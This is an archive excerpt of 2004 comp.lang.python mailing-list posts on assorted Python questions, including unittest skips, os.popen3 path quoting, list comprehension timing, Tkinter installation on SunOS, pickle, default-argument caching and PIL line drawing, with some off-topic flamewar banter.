2004 16:07:52 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <mailman.3553.1095679406.5135.python-list@python.org> <414efed5$0$60631$a1866201@newsreader.visi.com> <mailman.3613.1095723708.5135.python-list@python.org> <414f7c66$0$60638$a1866201@newsreader.visi.com> <mailman.3616.1095729288.5135.python-list@python.org> <414fa1ec$0$63273$a1866201@newsreader.visi.com> <mailman.3620.1095739940.5135.python-list@python.org> <rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net> <mailman.3623.1095750787.5135.python-list@python.org> Message-ID: <pan.2004.09.22.15.19.32.332288@jerf.org> On Tue, 21 Sep 2004 17:13:01 +1000, Ajay wrote: > since its not a commercial application - merely a research project, no, i > haven't done a threat analysis w.r.t to the type of information exchanged. > i have however looked at all security threats in such a system and will be > applying mechanisms for authentication, confidentiality, integrity etc. Ah. Thank you, that it was interesting. The last thing I would point out is that changing *somebody else's* MAC address is something of a hostile act, and it is sufficiently geeky that nobody can really give informed consent except people who really understand ethernet. Your program may work on your network, but may cause wierd and random seeming interactions with other networks when those devices are used elsewhere, since things like "MAC address locking" are sometimes used as a stopgap solution to wireless security while we wait for the real thing. (Hopefully WPA will qualify, but it still must be widely deployed and prove itself.) As a research project, great. But I would not care to incur the potential liabilities involved in releasing this to the general public. (I mean a general "liability" here, not just legal but also support for the inevitable "now my device won't connect to my work network, what did you do to it?) You can theoretically try to change the MAC back, but you'll find getting all the details for that right to be a challenge, and depending on the device, borderline impossible. Good luck and have fun; I'm not trying to inhibit you, just make sure you are aware that you are in Deep Hack Zone and need to be careful, especially as some people may just use the bad definition of "hacker" here... From ialbert at mailblocks.com Sun Sep 19 19:51:47 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Sun, 19 Sep 2004 19:51:47 -0400 Subject: python is going to die! =( In-Reply-To: <mailman.3520.1095631846.5135.python-list@python.org> References: <mailman.3520.1095631846.5135.python-list@python.org> Message-ID: <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> go away, troll From remy.blank_asps at pobox.com Thu Sep 23 11:13:57 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Thu, 23 Sep 2004 17:13:57 +0200 Subject: unittest: new reporting category "skipped" In-Reply-To: <ciulfp$1kp9$1@dojima-n0.hi-ho.ne.jp> References: <mailman.3772.1095935910.5135.python-list@python.org> <ciulfp$1kp9$1@dojima-n0.hi-ho.ne.jp> Message-ID: <ciup7m$2r9$2@sea.gmane.org> George Yoshida wrote: > Check out TestSkipped. > It's already implemented as a part of utility functions for > unittest module and heavily used in Lib/test directory. That is interesting. From a first look, however, it seems that the tests don't use the unittest framework, right? I'll study them anyway, good ideas are always good to have. Thanks for the pointer. -- Remy Remove underscore and suffix in reply address for a timely response. From M.Waack at gmx.de Sat Sep 18 12:09:45 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Sat, 18 Sep 2004 18:09:45 +0200 Subject: Python binaries for Solaris, HP-UX References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de> <uisab1stx.fsf@yahoo.co.uk> Message-ID: <973u12-rta.ln1@valpo.de> Paul Moore wrote: >> HP offers precompiled packages of free software at the DSPP pages: >> http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,4682,00.html > > That installs to /usr/local, unfortunately. As I said, I need > something that will install as an unprivileged user If you take a closer look you will see, that the HP packages can be unpacked anywhere. Its just a little more work then using the installer. BTW I'm working for company which solved this problem by allowing everybody to write to /usr/local. BTW2 I do not working as a system administrator for this company;) Mathias From lbates at swamisoft.com Fri Sep 10 09:31:58 2004 From: lbates at swamisoft.com (Larry Bates) Date: Fri, 10 Sep 2004 08:31:58 -0500 Subject: Build a project from the script using popen3 References: <82880e86.0409091527.342d9754@posting.google.com> Message-ID: <GYSdnSTaLrtXMdzcRVn-hg@comcast.com> You may have more success using the mangled (8.3) directory names in your pathnames. The ones with spaces in them (e.g. Program Files) is the problem. On my machine the mangled name for Program Files is Progra~1 (they can be seen with dir /x command at command prompt). There may be another way to use the long filenames, but I'll bet this will be the easiest. Larry Bates Syscon, Inc. "Ruchika" <ruchika_khera at hotmail.com> wrote in message news:82880e86.0409091527.342d9754 at posting.google.com... > Hi, > > I want to build an embedded Visual C++ project from the python script. > This is what I do - > > evc = r'"C:\Program Files\Microsoft eMbedded C++ > 4.0\Common\EVC\Bin\EVC.EXE"' > proj = r'"C:\Handheld\SC10\GFSDK\dev\Drivers\CE.EVC4\GFHAL\GFHAL.Vcp"' > config = "GFHAL - Win32 (WCE ARMV4) Release" > > print '%s %s /MAKE %s /REBUILD' % (evc, proj, config) > inf, out, err = os.popen3( '%s %s /MAKE %s /REBUILD' % (evc, proj, > config)) > print err.readlines() > > I get the following error message - "["'C:\\Program' is not recognized > as an internal or external command,\n", 'operable program or batch > file.\n']". > > I wanted to make sure the path is right. So I tried to open the > project workspace using popen3 and succeeded - > inf, out, err = os.popen3( '%s' % (proj)) > > Is something wrong with the way i am using the build command in the > script? I am sure the build command is fine because I ran it on the > command line before trying it in the script. Can we not run the build > command from inside the script? > > Am I using "/" in /MAKE and /REBUILD correctly in the script? > > Thanks, > Ruchika From lbates at swamisoft.com Tue Sep 21 15:08:10 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 21 Sep 2004 14:08:10 -0500 Subject: list.pop and print doing funny things References: <mailman.3669.1095791640.5135.python-list@python.org> Message-ID: <ybednYBdUs-K4c3cRVn-uA@comcast.com> Whenever you pop from the list it is destructive and the result is returned, which means it will be echoed in the interpreter. I think what you meant was: for x in range(len(l)): value=l.pop(0) # From beginning print value print l # or value=l.pop() # From end print value print l or while l: print l.pop(0) # From beginning print l # or print l.pop() # From end print l The indexing, etc. wasn't required. Larry Bates "Gordon Williams" <g_will at cyberus.ca> wrote in message news:mailman.3669.1095791640.5135.python-list at python.org... > An easy question.... > > Why do I get the x printed twice in the sample below? It is like print x > is > being executed twice in each loop. > > >>>> l = [1,2,3,4] >>>> for x in l[:]: > ... print x > ... l.pop(l.index(x)) > ... print l > ... > 1 > 1 > [2, 3, 4] > 2 > 2 > [3, 4] > 3 > 3 > [4] > 4 > 4 > [] >>>> > > Regards, > > Gordon Williams > From aleaxit at yahoo.com Thu Sep 30 14:13:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 30 Sep 2004 20:13:04 +0200 Subject: List comprehensions performance References: <278de0e.0409291441.4ef0a859@posting.google.com> <IuP6d.4170$6f.1874@trndny02> <1gkxa0o.1l5eyr0128x6mbN%aleaxit@yahoo.com> <cjhgo2$8o4$0$216.39.172.122@theriver.com> Message-ID: <1gkxzys.16do9ui1xakcfbN%aleaxit@yahoo.com> Bengt Richter <bokr at oz.net> wrote: ... > >...but if the for loop is NOT equivalent (it doesn't accumulate results > >into a resulting list), it's still faster. As I posted: > > > >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in > >xrange(999): f()' > >1000 loops, best of 3: 1.29e+03 usec per loop > >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in > >xrange(999)]' > >1000 loops, best of 3: 1.45e+03 usec per loop > > > >the LC is paying for the building of a list of 999 references to None, > >which the for loop easily avoids, so the for loop is much faster here. > > What if you abuse the LC so it makes an empty list? E.g., > [None for x in xrange(999) if f() and False] Now tell me, is timing so HARD...?! This obfuscation times (on 2.4 and the same old iBook as above) to 1.38e+03 usec per loop, still slower than the plain old loop -- the if/and rigmarole costs... Alex From aleaxit at yahoo.com Thu Sep 9 06:37:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 12:37:01 +0200 Subject: Set and {} comparison confusion References: <mailman.3077.1094712931.5135.python-list@python.org> <1gju9e7.3exo4xy4ku00N%aleaxit@yahoo.com> <mailman.3079.1094716024.5135.python-list@python.org> <1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com> <mailman.3084.1094725372.5135.python-list@python.org> Message-ID: <1gjuizw.1001chq1dafmd9N%aleaxit@yahoo.com> Heiko Wundram <heikowu at ceosg.de> wrote: > Am Donnerstag, 9. September 2004 10:18 schrieb Alex Martelli: > > def same_as_sets(onelist, another): > > for item in onelist: > > if item in another: return False > > for item in another: > > if item in onelist: return False > > return True > > Minor correction, shouldn't this be: > > for item in onelist: > if item not in another: return False > ... > > Notice the nice little word not, which makes all the difference... ;) Heh, yes, of course -- we're checking set equality, not complete disjunction (which would only need half the amount of work!-) Alex From richardshea at fastmail.fm Wed Sep 8 07:31:29 2004 From: richardshea at fastmail.fm (Richard Shea) Date: 8 Sep 2004 04:31:29 -0700 Subject: Win32/Console - subclass using Python ? References: <282f826a.0409061626.16567378@posting.google.com> <413d31e3$1_2@127.0.0.1> Message-ID: <282f826a.0409080331.15a4fe00@posting.google.com> "Roger Upole" <rupole at hotmail.com> wrote in message news:<413d31e3$1_2 at 127.0.0.1>... > http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/console_functions.asp > > There's a Console module for Windows at > http://www.effbot.org/zone/console-index.htm > that might do what you need. Thanks for that - I had looked for something like this but not found it. It's not 100% what I was thinking of as I would (I believe) need to run SQLPLUS 'behind' it. Never mind I appreciate it. Thanks also to info I got via Email WRT to 'QUASI' http://quasi-shell.sourceforge.net/ - that's a pretty amazing thing which is worth checking out. regards richard. > > "Richard Shea" <richardshea at fastmail.fm> wrote in message > news:282f826a.0409061626.16567378 at posting.google.com... > > Hi - I wondered if anyone had done this before and could provide some > > suggestions ? I'm interested in supplying extra functionality to a > > Win32 Console (cmd.exe) - full description below for those interested. > > I would do this using Python. > > > > I'm having difficulty finding anything about Console based programming > > via MSDN - I just wondered if anyone had done anything like this or > > alternatively knew where the part of the Win32 API which deals with > > Console interaction is on MSDN ? I've found > > http://support.microsoft.com/default.aspx?scid=kb;en-us;104094 but > > that's about it so far. > > > > FULL DESCRIPTION > > ================ > > I use the Oracle client SQLPLUS a lot via a Win 32 console. There are > > some aspect s of this experience which would bear improvement. > > > > I'm interested in producing a 'super' cmd.exe which would 'help' > > SQLPLUS do its thing. I'm thinking for instance of auto-completion of > > table names, smart help etc. That's a big topic but just for starters > > I would like to be able to create my own 'super cmd.exe' > > > > regards > > > > Richard Shea From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Fri Sep 10 19:33:22 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Fri, 10 Sep 2004 23:33:22 -0000 Subject: Xah Lee's Unixism References: <rKGdnc6ocfZ7nN_cRVn-ig@mpowercom.net> Message-ID: <10k4ee2da90clfb@corp.supernews.com> # Unless they were french speaking immigrants living in Quebec. I believe the # law grants them a presumption of innocence *in spite of* evidence to the # contrary. I hope you understand that when US takes over Canada, we are not accepting Quebec. That province will be floated and barged out somewhere into the north Atlantic. I can't imagine France wanting them back. Maybe leave them in the middle with a big bulls eye for the next comet. Atlantis II. -- SM Ryan http://www.rawbw.com/~wyrmwif/ Death is the worry of the living. The dead, like myself, only worry about decay and necrophiliacs. From roo at try-removing-this.darkboong.demon.co.uk Thu Sep 2 12:03:21 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Thu, 02 Sep 2004 17:03:21 +0100 Subject: Xah Lee's Unixism In-Reply-To: <opsdpdzglzpqzri1@mjolner.upc.no> References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> Message-ID: <1094141001.125507@teapot.planet.gong> John Thingstad wrote: > On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis > <Brian.Inglis at SystematicSW.Invalid> wrote: > >> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W. >> Kennedy" <jwkenne at attglobal.net> wrote: >> >>> Andre Majorel wrote: >>> >>>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote: >>>> >>>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers, >>>>> Andre Majorel <amajorel at teezer.fr> wrote: >>>>> >>>>> >>>>>> On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote: >>>>> >>>>> >>>>>>> Windows (MS) is not 'Unixism'? >>>>>> >>>>>> >>>>>> If by unixism, you mean any operating system that has a >>>>>> hierarchical filesystem and byte stream files, yes. But that >>>>>> would include quite a few other non-Unix operating systems, >>>>>> including Mac OS 9, Prologue and probably everything else this >>>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M). >>>>> >>>>> >>>>> DOS 2.x+ shall be deemed to be CP/M+! >>>> >>>> >>>> >>>> Wasn't it in version 2 that they added directories and >>>> Unix-style file handles ? >>> >>> >>> Yes, and also a single-process pipe emulator. Ever since 2.0, MS has >>> been trying to turn MS-DOS (later, Windows) into a Unix clone. >> >> >> MS has been borrowing code from Unix to create a real OS: TCP/IP; >> NTFS<-ffs; memory mapped files<-mmap. >> Shame they keep trying to add their own ideas in too: that must be >> what causes the crashes! >> > > You seeem misinformed. > Microsoft swallowed up a team from DEC. > The were developing a operating system called PRISM. > When the project was cancelled they quit DEC in protest. > These peaple had more than a 100 years of experience in developing > muliuser / > mutitasking operating systems between them. The fact that the NT kernel > is not > entirely stable yet really shouldn't supprise anyone. Afterall Unix has > messed with > it's kernel for 30 years. But the modular arcitecture and the > microkernel are new ideas in > OS design and should in time lead to a more extensible OS than unix. uKernels are *NOT* a new idea at all. They weren't a new idea when NT was unleashed on the world. What people think of as "NT" is a big pile of shite that obscures the uKernel. Since the graphics stuff got put into ring 0 I think that you could legitimately claim that BSD Unix is more of a micro kernel than NT. :) > (Unix tradionally has a spagetti of intercalling function calls as a > kernel.) Remember NeXTStep ? > As for following standards thats just plain sense. > Note the Mac OS 10 / Darwin uses a unix kernel because of all the > problems with > interoperabillity OS 9 had with talking to Windows and Unix boxes. Which I believe is derived from a Mach uKernel... The "UNIX" bits are the FreeBSD userland utilities that surround it. Cheers, Rupert From DesertLinux at netscape.net Wed Sep 15 19:55:39 2004 From: DesertLinux at netscape.net (Byron) Date: Wed, 15 Sep 2004 23:55:39 GMT Subject: Convert Dictionary to String, vice versa? In-Reply-To: <1rllfb43gx.fsf@rovereto.ifi.uio.no> References: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net> <1rllfb43gx.fsf@rovereto.ifi.uio.no> Message-ID: <%D42d.1206$gG4.519@newsread1.news.pas.earthlink.net> Hi Kjetil, Thank you for telling me about pickle (along with the sample of code.) It works great... Much appreciated! Byron --- Kjetil Torgrim Homme wrote: > [Byron]: > >> I am a newbie and would like to know if it is possible to convert >> a string back to a dictionary? >> >> For example, I can convert a dictionary to a string by doing this: >> >> >>> names = {"Candy" : 2.95, "Popcorn" : 4.95} >> >>> strNames = str(names) >> >>> print strNames >> {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} >> >> However, is there a way to convert a string back to a dictionary? >> >> Any help is very much appreciated! > > > I'm surprised no one has mentioned pickle. > > >>>>import pickle >>>>names = {"Candy" : 2.95, "Popcorn" : 4.95} >>>>pickle.dumps(names) > > "(dp0\nS'Popcorn'\np1\nF4.9500000000000002\nsS'Candy'\np2\nF2.9500000000000002\ns." > >>>>pickle.loads(pickle.dumps(names)) > > {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} > > From gaool at caramail.com Thu Sep 16 02:53:43 2004 From: gaool at caramail.com (gaool) Date: 15 Sep 2004 23:53:43 -0700 Subject: Problem with Python and _tkinter on SunOS system References: <mailman.3359.1095251598.5135.python-list@python.org> <ci9l7j$f6o$1@news-reader2.wanadoo.fr> Message-ID: <b012e8e5.0409152253.600e4f7a@posting.google.com> Hello, Thanks for your answer. I tried to run wish and wish8.4 and it both works! (a little screen appears on the screen). So, apparently Tcl/Tk works?! It's right that I didn't compile Python myself because I'm in training period in a big company and I use SunOS from the network. But the Network administrator doesn't know exactly why Python doesn't run on SunOS, so I try to find a solution by my side... So, I will told him to look at the Setup file and to do the right modifications. Thanks. Eric Brunel <eric_brunel at despammed.com> wrote in message news:<ci9l7j$f6o$1 at news-reader2.wanadoo.fr>... > gaool at caramail.com wrote: > > Hello, > > > > I try to launch a Python script on SunOS system but I have this error: > > > > """Traceback (most recent call last): > > File "ihm1_1.py", line 3, in ? > > from Tkinter import * > > File "/opt/sfw/lib/python2.3/lib-tk/Tkinter.py", line 38, in ? > > import _tkinter # If this fails your Python may not be > > configured for Tk > > ImportError: ld.so.1: python: fatal: relocation error: file > > /usr/local/lib/libtk8.4.so: symbol __eprintf: referenced > > symbol not found""" > > Does tcl/tk work? I.e., if you run wish or wish8.4, does it work? It seems that > it can be a problem with a shared object used by libtk8.4.so that cannot be found. > > [snip] > > Then, I tried to find a solution and this is what i've found > > on the Python web site: > > """ > > Step 1 - can _tkinter be imported? > > Try the following command at the Python prompt: > > >>> import _tkinter # with underscore, and lowercase 't' > > * If it works, skip to the next step. > > * If it fails with "No module named _tkinter", your Python > > configuration needs to be modified to include this module > > (which is an extension module implemented in C). Edit > > Modules/Setup (read the instructions at the top, search for > > _tkinter, read more instructions there, and follow the > > instructions) and rebuild and reinstall. Make sure to > > enable the _tkinter module as well as the TKPATH variable > > definition. > > * If it fails with an error from the dynamic linker, see > > above (for Unix, check for a header/library file mismatch; > > for Windows, check that the TCL/TK DLLs can be found).""" > > > > But I don't understand what "Edit Modules/Setup" means? Where is it ? > > What is TKPATH? How can I modify it? > > You didn't compile your Python interpreter yourself, did you? The Setup file is > in Python's source directory under the Modules directory. Open this file in a > text editor and look for a line containing _tkinter. Read the comments after > this line; they should be self-explanatory. If you modify the file, you'll have > to re-compile your interpreter. > > > Do you think my problem comes from that "Edit Modules/Setup" ? Or do you think that there is something else wrong ? > > Maybe, maybe not... Apparently, the tk library is found, so Python seems to be > correctly configured. Maybe the problem is in the tcl/tk installation, but you > should see that by running wish. > > HTH From carribeiro at gmail.com Wed Sep 8 10:22:52 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 11:22:52 -0300 Subject: A historical question In-Reply-To: <chmphe$21tc$1@ulysses.noc.ntua.gr> References: <chmphe$21tc$1@ulysses.noc.ntua.gr> Message-ID: <864d37090409080722445218a@mail.gmail.com> On Wed, 08 Sep 2004 14:20:40 -0700, Jerald <jfj at freemail.gr> wrote: > I'd like to know when python started working with bytecode. > It seems natural that in the first python implementations > code was really interpreted : executed directly. I assume that you expect direct execution to be the easiest way to start implementing a new language. However, that's far from true. It's actually pretty difficult to execut programs in procedural languages *without* some form of intermediate code, and almost all computer languages are compiled at some level before execution. The only situation where direct execution makes sense is in the case of simple command line interfaces; some simple shell script languages may be still executed this way, but that's an exception to the rule. Even old languages such as BASIC used to be compiled to some form of intermediate code -- a similar concept to Python's bytecode, but much simpler. You may think that to create a virtual machine or compiler for a new language is a hard task. But there is a huge body of theorethical knowledge regarding all the pieces of software required to implement a new computer language that can be used for this purpose. There is no need to reinvent the wheel here. Concepts such as language parser, intermediate code generator, optimizer, etc -- they're all quite old and well understood. Automatic tools and code generators can be used, given the language definition, to create a basic compiler for it. Of course, there are a few areas with hot new advancements, but the basics are already solidly understood. The most dificult part is not implementing the basic compiler or virtual machine. The hardest part is coming up with a clear and powerful language design. That's where Python really shines. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From agriff at tin.it Tue Sep 28 02:32:37 2004 From: agriff at tin.it (Andrea Griffini) Date: Tue, 28 Sep 2004 06:32:37 GMT Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <mailman.3834.1096015522.5135.python-list@python.org> <RImdnbz2hMm7v8ncRVn-qg@lmi.net> <cj18jn$47n$1@pegasus.csx.cam.ac.uk> <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> Message-ID: <e9vhl0pheg3tqe1eop84me8ahdgkoq6t3i@4ax.com> On Sun, 26 Sep 2004 10:39:15 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >vs your apparently implied suggestion of: > >def f(x): > if x in f.cache: ... >f.cache = [] I like more... def f(x): if not hasattr(f,"cache"): f.cache = [] ... >which among other things suffers from f.cache having to be used in spots >that come lexically before it's defined; or a decorator equivalent: > >@ set_function_attributes(cache=[]) >def f(x): > if x in f.cache: ... The best I can think to is something like def f(x): static cache = [] ... In other languages (mostly C) there cases in which I found nice the idea of a local name for a globally living object. >As for 'risky', both approaches are. The default argument risks the >user mistakenly passing a corresponding actual-argment; the function >attribute risks the user rebinding the name. ? Passing a parameter to a function that, by the way, is declaring it *wants* it doesn't seem to me the same as messing with internals of something from the outside. >It just don't work when the function name aint'a global, as in a >closure; nor does it work equivalently for an overriden method, e.g.: ? def foo(x): def bar(y): if not hasattr(bar,"cache"): bar.cache = [] bar.cache.append(x+y) return bar.cache return bar bar_1 = foo(1) bar_2 = foo(2) print bar_1(1),bar_1(2),bar_1(3) print bar_2(1),bar_2(2),bar_2(3) >here you get two separate caches, one for base.f and one for derived.f, >no sweat -- and if you want base.f to use derived.f's cache when call >from there, just chance the last call to 'base.f(self, x, cache)' -- >obvious, simple, elementary. When you need to mess with the those vars from the "outside" then it's clear you're not looking for a static; probably you're not even looking for a function as the interaction with the "state" is getting too important. IMO in these cases it's *way* better to use a class instead (may be one implementing the call interface). >And good luck in explaining all this to beginners -- while the default >argument approach is really trivial to explain. Simple is better than >complex, and a general technique like using default values for caching >is better than a technique based on attributes which is not general >enough to be just used everywhere. Once reading that default were evaluated at function definition time was enough for me; and I honestly say that I don't remember ever falling for this trap of modifiable default values (so far). However this seems happening quite frequently to novices; actually *very* frequently. So either all the world is wrong or this very specific part of the language has a problem. >_Plus_, teaching this use of default values to beginners helps them >understand how default values work in all cases. Explaining the dirty >tricks needed to extend a bit the applicability of using function >attributes for caching offers no such nice "side advantage". Sure there is a plus in clearly understanding that function definition is an executable statement in python. But using an unrelated arbitrary fact (that default values are evaluated at that time instead than at call time) isn't IMO a good example. A better one I would say is ... if raw_input("A or B ?") == "A": def foo(x): return x * 2 else: def foo(x): return x * x print foo(12) >I think there are plenty of good reasons, see above. I didn't find any of them *really* good >In addition, accessing a local name is of course way faster than >accessing a global name and then an attribute thereof. Yeah, static are slower than necessary; and uglier also. May be the direction could be fixing that instead of just pushing towards an ugly hack that just happens to work. >Yes, it helps them a lot to understand, realize, and remember, that >default values are shared among all of a function's calls. That's the wart! >It's simpler and more general. To me seems an unrelated side-effect of the decision of when to evaluate default parameters. I'm not questioning the decision per se (it has pros and cons... for example you can't use things like "def foo(x,y,z=x+y)") but that using fake parameters for static is ugly and error prone. Just my 0.02 euros of (still) fresh eye opinion Andrea From peter at engcorp.com Fri Sep 3 17:51:49 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 03 Sep 2004 17:51:49 -0400 Subject: How to actually write a program? In-Reply-To: <chano0$1gv$1@sparta.btinternet.com> References: <chano0$1gv$1@sparta.btinternet.com> Message-ID: <l42dnXanZtFhe6XcRVn-rw@powergate.ca> Nick Evans wrote: > Hello there, > I have been on and off learning to code (with python being the second > language I have worked on after a bit of BASIC). What I really want to know > is, if you are going to actually write a program or a project of some sort, > how do you actually start. > > Picture this, you know what you want the program to do (its features), you > have a possably rough idea of how the program will work. You have opened an > empty text file and saved it as 'mykewlprogram.py' and now your sitting in > front of an empty text file... Now then.... where do I start. > > Any ideas about this problem :-) Sure, first you write a test. Then you run it and make sure it fails (because of course no other code exists yet). Then you write just enough code to pass the test. Run the test again, and get it to pass. Clean things up and go back to the start... http://diveintopython.org/unit_testing/ http://c2.com/cgi/wiki?TestDrivenDevelopment http://www.amazon.com/exec/obidos/tg/detail/-/0321146530/104-0524681-1524713?v=glance http://www.objectmentor.com/writeUps/TestDrivenDevelopment http://www.agiledata.org/essays/tdd.html http://groups.yahoo.com/group/testdrivendevelopment/ http://www.testdriven.com/ etc... -Peter From aleaxit at yahoo.com Wed Sep 22 18:05:14 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 00:05:14 +0200 Subject: detecting variable types References: <cisjhb$6kr$1@news-int.gatech.edu> <Y-WdnWCkPIytTszcRVn-vQ@powergate.ca> <ciskpq$7f2$1@news-int.gatech.edu> <Owl4d.414337$OB3.377122@bgtnsc05-news.ops.worldnet.att.net> Message-ID: <1gkjh1z.1uler591nt2jgkN%aleaxit@yahoo.com> Andrew Koenig <ark at acm.org> wrote: ... > I don't see anything particularly wrong with detecting the type this way: > > if isinstance(params[key1], list): Better than checking type(...), but then, a lesser evil need not be 'right'. > Of course that won't work for other kinds of sequences, but if that's what > you want, then that's what you want. Sometimes people want what's not best for them, and sometimes they believe they want something, but really don't. If somebody asks me about how best to shoot his own foot, I may perhaps suggest weapon types and suitable ammunition, but often I'd add some note about the problems that often result by shooting one's own foot, even with the most suitable choice of ammunition and weapon. ((Come on -- if somebody asked __in a C++ group__ how best to code the equivalent of...: if(is_circle(x)) draw_circle(x); else if(is_square(x)) draw_square(x); ... would you just mention how dynamic_cast may be used for the purpose, without one word as to how a polymorphic x.draw() is better...?-)) Nevertheless, singling out _strings_ from other kinds of sequences and iterables IS unfortunately needed sometimes. That's why built-in type basestring exists: for the sole reason of allowing a typetest of the form "if isinstance(whatever, basestring):...". Once strings (byte and unicode kinds) are out of the way, all other sequences and iterables can often be treated uniformly and polymorphically with a for loop or whatever. A frequent idiom: if isinstance(whatever, basestring): whatever = [whatever] try: whatever = iter(whatever) except TypeError: whatever = iter([whatever]) for item in whatever: ... this deals sensibly with being passed any iterable (singling out strings as scalars even though they're iterable) OR any non-iterable (to be treated as the equivalent singleton-iterable with that one item only). Alex From elbertlev at hotmail.com Wed Sep 29 07:18:21 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 29 Sep 2004 04:18:21 -0700 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <mailman.4029.1096404065.5135.python-list@python.org> <653b7547.0409281915.5ff0d92e@posting.google.com> Message-ID: <9418be08.0409290318.7c81750c@posting.google.com> pmaupin at speakeasy.net (Patrick Maupin) wrote in message news:<653b7547.0409281915.5ff0d92e at posting.google.com>... > <elbertlev at hotmail.com> wrote: Making interpreter 100% "bullet prove" is impossible, finding errors, which can be found, not only possible, but also very commendable. Isn't this obvious? Let's stop wasting time on this discussion and continue discussing decorators :) Regards From miki.tebeka at zoran.com Mon Sep 6 11:05:48 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Mon, 6 Sep 2004 17:05:48 +0200 Subject: python memory analysis In-Reply-To: <200409061457.50722.alexander.hoffmann@netgenius.de> References: <200409061457.50722.alexander.hoffmann@netgenius.de> Message-ID: <20040906150548.GL2220@zoran.com> Hello Alexander, > I wrote a deamon like program in python and after a while I realized that it > consumes more and more memory over time. So my question is: How to debug > memory leaks in python ? Try the gc module. Bye. -- ------------------------------------------------------------------------ Miki Tebeka <miki.tebeka at zoran.com> http://tebeka.spymac.net The only difference between children and adults is the price of the toys From nem at nowhere.invalid Tue Sep 7 02:41:59 2004 From: nem at nowhere.invalid (Nemesis) Date: 7 Sep 2004 06:41:59 GMT Subject: open default MUA with a hyper link References: <chalvm$1944$1@biggoron.nerim.net> <mailman.2850.1094246310.5135.python-list@python.org> <chh9lt$imf$1@e3k.asi.ansaldo.it> <1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com> <chhjg9$dqc$1@e3k.asi.ansaldo.it> <1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com> Message-ID: <chjl7n$lv2$1@e3k.asi.ansaldo.it> "Alex Martelli" wrote: >> Thank you for the link. >> I tried that syntax, but it seems that Internet Explorer >> doesn't support multiline bodies :-/ > > Your choice is then to either upgrade to a better browser (IE has been > stagnant in features for years, resting on its laurels) or to drive IE > more intimately and "proprietarily" -- with win32com you can probably > make it turn somersaults, although your hair will whiten considerably > while you learn how to do so. Actually I use Firebird ;-) I'm studying this syntax in order to implement it in XPN, the newsreader I'm writing. I'd like to use it when the article has a "Followup-To: poster". So I need a simple and multiplatform solution. However I found that I can use an encoded form of the newline (%0A) that works with IE (I haven't tried yet with different browsers).I think I'll use the urllib.quote function in order to obtain this coding. -- XPN :: http://xpn.altervista.org From maxm at mxm.dk Mon Sep 13 16:00:15 2004 From: maxm at mxm.dk (Max M) Date: Mon, 13 Sep 2004 22:00:15 +0200 Subject: PIL - setting the width of lines in ImageDraw Message-ID: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> I am using PIL to generate som graphs, like: draw = ImageDraw.Draw(im) for graph in self.graphs: polygon = graph.getPolygon() draw.polygon(polygon, outline=graph.color) del draw But the linewidth of my polygon is only one pixel wide. Is there any way to set it to something else? (How nice it would be to have css compatible parameters on polygons, like: draw.polygon(polygon, border="1px solid gray")) I have read the docs, and browsed the source. But me being a lowly Windows developer I stopped at _imaging.py module, which the ImageDraw module apparantly use to do the actual drawing. regards Max 